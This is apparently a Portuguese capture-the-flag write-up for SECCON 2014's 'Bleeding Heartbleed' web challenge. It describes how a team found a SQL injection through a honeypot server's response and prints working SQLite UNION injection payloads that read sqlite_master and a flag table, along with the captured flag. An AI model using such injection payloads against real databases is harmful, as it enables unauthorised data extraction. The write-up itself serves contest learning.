w300 – Bleeding “Heartbleed” Test Web
Solução
Nossa equipe descobriu que passando um IP de um server vulnerável, ele obtia o que o servidor respondia, e jogava o resultado no banco de dados. A partir daí, precisariamos então simular um servidor vulnerável para verificar se a task se trata de SQL injetion, para isso, usamos um script de honeypot encontrado no Google, e então ao tentar passar uma aspa simples (‘) nessa resposta (editando a variável $taunt do script), o servidor mostrou um erro de sintaxe. O que evidenciou a brecha para SQL injection!
Outro detalhe da challenge é que quando o sistema conseguia executar o INSERT, ele mostrava nos comentários da página:
1 |
<!-- DEBUG: INSERT OK. TIME=1417954939 --> |
Descobrindo o banco de dados
Depois de algum guessing, decidimos chamar sqlite_version(), o que resultou em: TIME=3.6.20. Então, etapa concluída. Agora como explorar um SQLite?
Obtendo metadata do banco de dados
No SQLite existe uma tabela chamada sqlite_master que é como um INFORMATION_SCHEMA, só que bem resumido.
Listando as tabelas
Através do seguinte injection, conseguimos ver todas as tabelas presentes no sistema:
1 |
foo' union SELECT group_concat(sql) from sqlite_master where 1 <> ' |
Resultou em:
1 |
<!-- DEBUG: INSERT OK. TIME=CREATE TABLE results ( time, host, result ),CREATE TABLE ssFLGss ( flag ),CREATE TABLE ttDMYtt ( dummy ) --> |
Flag
Agora então para pegar a flag, basta lermos o campo flag da tabela sssFLGss.
1 |
foo' union SELECT flag from ssFLGss where 1 <> ' |
Resultou em:
1 |
<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} --> |
Criado por
Epic Leet Team
© 2014 - Todos os Direitos Reservados